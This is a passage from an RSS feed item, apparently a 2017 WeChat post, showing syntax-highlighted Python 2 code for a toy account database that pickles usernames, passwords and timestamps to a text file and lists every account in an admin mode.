0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, a, i</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.time </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">time.time</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">()</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">[</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">i</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">] = </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.name </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">+ </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39; </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">+ </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.passwd </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">+ </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;:&#39; </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">+ </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">str</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.time</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">file</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;db.txt&#39;</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, </span><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;wb&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.db </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">pickle.dump</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a, </span><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp, </span><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">True</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp.close</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">()</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">def </span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">admin</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">        </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">if </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.flag </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">== </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">True</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">            </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">n </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">raw_input</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#34;Do you want to see all the acount?(yes/no)&#34;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">            </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">if </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">n </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">== </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;yes&#39;</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">file</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;db.txt&#39;</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">, </span><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;rb&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= []</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">while </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">True</span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                    </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">try</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                        </span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.db </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">pickle.load</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.tmp</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                        </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a.append</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(148, 85, 141); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">self</span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">.db</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                    </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">except</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                        </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">break</span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                print </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">a            </span><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">else</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">                </span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">print </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#34;ok,maybe next time&#34;</span></strong><strong><span style="color: rgb(204, 153, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">if </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">__name__ </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">== </span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;__main__&#39;</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">:</span></strong><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">name </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">raw_input</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;Enter your name:&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">passwd </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(0, 204, 204); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">raw_input</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><strong><span style="color: rgb(133, 205, 0); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">&#39;Enter your passwd:&#39;</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">m </span><strong><span style="color: rgb(255, 255, 255); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">= </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">Database</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">(</span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">name, passwd</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">)</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><span style="color: rgb(255, 102, 102); background: rgb(64, 64, 64) none repeat scroll 0% 0%;"># m.update(&#39;guest&#39;, &#39;guest&#39;)    </span><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">m.check</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">()</span></strong><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">    </span></strong><span style="color: rgb(155, 194, 142); background: rgb(64, 64, 64) none repeat scroll 0% 0%;">m.admin</span><strong><span style="color: rgb(155, 194, 142); font-weight: bold; background: rgb(64, 64, 64) none repeat scroll 0% 0%;">()</span></strong></span></p>



<p><a href="2247483664">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b226e359&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483664%26idx%3D1%26sn%3D5e4edd520150b3932b6ece9f8380d279">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 05 Sep 2017 22:02:00 +0800</pubDate>
    </item>
  </channel>
</rss>